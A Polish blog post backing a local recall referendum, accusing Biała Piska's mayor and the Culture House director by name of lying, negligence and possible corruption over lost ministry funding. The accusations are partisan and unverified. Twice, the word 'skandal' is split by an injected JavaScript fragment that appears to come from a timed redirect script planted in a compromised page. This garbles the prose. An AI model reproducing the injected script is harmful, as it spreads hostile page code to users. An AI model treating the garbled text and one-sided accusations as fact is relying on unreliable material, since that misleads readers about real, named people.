Kłamstwo zawsze ma krótkie nogi!

Prawdziwa bombę odpalili dzisiaj inicjatorzy referendum. To co jest opisane to, moim zdaniem skandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andal! tak wielkie pieniądze wyrzucone w błoto przez zaniedbania osób odpowiedzialnych. Za cała sprawę odpowiada zarówno dyrektor Domu Kultury, jak i pani burmistrz Beata Sokołowska. Tośmy się doczekali! Mnie po lekturze tego artykułu zmroziło. Zawsze było tłumaczenie pani burmistrz, ze nie było zabezpieczonych pieniędzy w budżecie. Jaka jest prawda, przeczytajcie. Na prośbę grupy referendalnej udostępniam tekst zamieszczony na www.referendumbp.pl. Zachęcam do lektury!

"Pamiętacie państwo jak to pani burmistrz uzasadniała wyrzucenie do kosza 85% dofinansowania na rozbudowę Domu Kultury. Gmina nasza miała przyznaną dotację z Ministerstwa kultury w kwocie około milion sto pięćdziesiąt tysięcy. Pani burmistrz próbowała nam wmówić, że zrezygnowała z tej dotacji, gdyż w budżecie Gminy nie było zabezpieczonych czterystu tysięcy na wkład własny. Mając 85% dofinansowania, rezygnować z takich pieniędzy? Wydawało się to dziwne, ale cóż, nowy burmistrz ma prawo załatwiać te sprawy po swojemu.

To, co za chwilę zobaczycie Państwo i będziecie mogli przeczytać, pokaże zgoła odmienną stronę, niż ta, którą jako powód próbowała nam wmówić pani burmistrz. Dotarliśmy bowiem do dokumentu, podpisanego przez panią dyrektor Hannę Zawalich. Z tego dokumentu wynika, że dofinansowanie nam uciekło, gdyż firma projektowa, która miała z Domem Kultury podpisaną umowę, na stworzenie projektu, nie zrobiła tego w terminie. Dlatego w terminie nie zostały złożone wymagane dokumenty do Ministerstwa i dlatego Ministerstwo nie udzieliło nam finansowania. Prawda więc, jak zwykle, jest inna niż to, co mówi pani Beata Sokołowska.

Jeśli Państwo zwróciliście uwagę, to firma projektowa przyznała się do tego, że to z jej winy Dom Kultury nie dostanie dofinansowania. Jaka więc powinna być procedura postępowania w takim przypadku? Poprzedni dyrektor Domu Kultury podpisał z ta firmą umowę na stworzenie projektu, do której zostały wpisane kary za opóźnienia, czy inne wypadki. Jaką karę zapłaciła Domowi Kultury, pod rządami obecnej dyrektor firma projektowa? ŻADNEJ! Dlaczego? Bo w dokumencie, który rozwiązuje umowę, jest napisane, że nasz Dom Kultury, nie będzie się niczego domagać. Zrzeka się po prostu wszelkich roszczeń.

Przecież firma projektowa, która zobowiązała się do wykonania zadania musiała zdawać sobie sprawę z faktu, że oprócz kar zapisanych w umowie z Domem Kultury, będzie musiała wypłacić Domowi Kultury odszkodowanie w wysokości miliona stu pięćdziesięciu tysięcy złotych, za utracone dofinansowanie. Ale nie! Nie w Białej Piskiej, gdzie nadzór nad Domem Kultury pełni Beata Sokołowska. Tak, ta sama pani, która szczyci się ściągnięciem podatku z hotelu w Bemowie Piskim. Gdyby nie Burmistrz Wojciech Stępniak nie byłoby tego podatku, bo to Burmistrz Stępniak wpisał się na hipotekę tego hotelu i w momencie jego sprzedaży, kwota automatycznie musiała zostać przelana, na konto Urzędu. Tak więc pani burmistrz nic nie ściągnęła, tylko dostała prezent od poprzednika.

Jako przedstawiciele grupy referendalnej, złożyliśmy dzisiaj zawiadomienie do prokuratury i Centralnego Biura Antykorupcyjnego? Dlaczego do CBA? Bo naszym zdaniem zachodzi tu prawdopodobieństwo działań korupcyjnych. Fakt odstąpienia od nałożenia kar na firmę projektową, może być różnie odbierany. Naszym zdaniem zachodzi tu prawdopodobieństwo popełnienia przestępstwa korupcji, wiec takie zawiadomienie złożyliśmy. Prokuratura zaś powinna ustalić czy nie został narażony na szwank interes Gminy i czy nie doszło w przypadku pani dyrektor Zawalich do przekroczenia uprawnień, a w przypadku pani burmistrz do niedopełnienia obowiązków.

Pamiętamy wszyscy słynną sprawę drogi, za którą pani burmistrz dostała wyrok pozbawienia wolności, w zawieszeniu. Tam zostały sfałszowane dokumenty. Tutaj mamy do czynienia z odpuszczeniem kar i odszkodowania, w sumie, pewnie gdzieś około 1,5 miliona. Tak działa Beata Sokołowska na fotelu burmistrza. Zarzucała poprzednikowi, że nie zabezpieczył wkładu własnego w budżecie, a sama lekką ręka pozbawiła Gminę ogromnej sumy pieniędzy.

Oczywiście teraz, tak jak w materiale Interwencji telewizji Polsat, o OSP Drygały, będzie mówić, że nic nie wie. Bo dokument podpisała pani Zawalich. Bo przecież, kiedy są kłopoty, to, wydaje nam się, że pani burmistrz po prostu nic nie wie. W tym przypadku to się nie uda. Bo my wiemy, że pani burmistrz wiedziała. Tym razem nie ucieknie pani od odpowiedzialności. Razem z panią dyrektor Hanną Zawalich odpowiadacie za ten stan rzeczy. Kłamstwo po raz kolejny ujrzało światło dzienne.

Pani burmistrz kłamie po raz kolejny. Jak sami Państwo widzicie, wcale nie chodziło o niezabezpieczone pieniądze w budżecie. Naszym zdaniem ktoś po prostu nie dopilnował firmy projektowej, a kiedy było za późno, dogadał się z firmą. A może było tak, że dopiero po tym jak Ministerstwo przysłało pismo, że dofinansowania nie będzie, ktoś wpadł na to, że takie dofinansowanie, w ogóle było? Może ktoś nie zwrócił uwagi, że Gmina ma przyznane takie pieniądze? Tak, czy owak, wydaje nam się, że po raz kolejny zostaliśmy oszukani. Kiedyś za drogę na ponad 700000, teraz na ok. 1,5 miliona złotych. Łącznie daje to kwotę ponad 2 miliony złotych. Specjalistka deklarowała, że pozyska pieniądze do Gminy. Z dokumentów, które udostępniliśmy wynika raczej, że lekką ręka rozdaje te pieniądze. Ciekawe czy to ostatnia afera, która wyszła na jaw? Jakie jeszcze niespodzianki kryją szafy w gabinecie pani burmistrz? Ile jeszcze Gmina mogła stracić?

Taką burmistrz mamy. Chcemy taką mieć. NIE! Nie chcemy takiej burmistrz. Nie chcemy burmistrz, która kłamie, która nie żąda odszkodowań od firm, które zawaliły robotę. Jako grupa referendalna nie chcemy burmistrz, która nie dba o majątek tej Gminy, o nasze pieniądze. To jest skandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andal, żeby ktoś taki był gospodarzem w tej Gminie. 19 lipca 2020 musimy powiedzieć temu dość".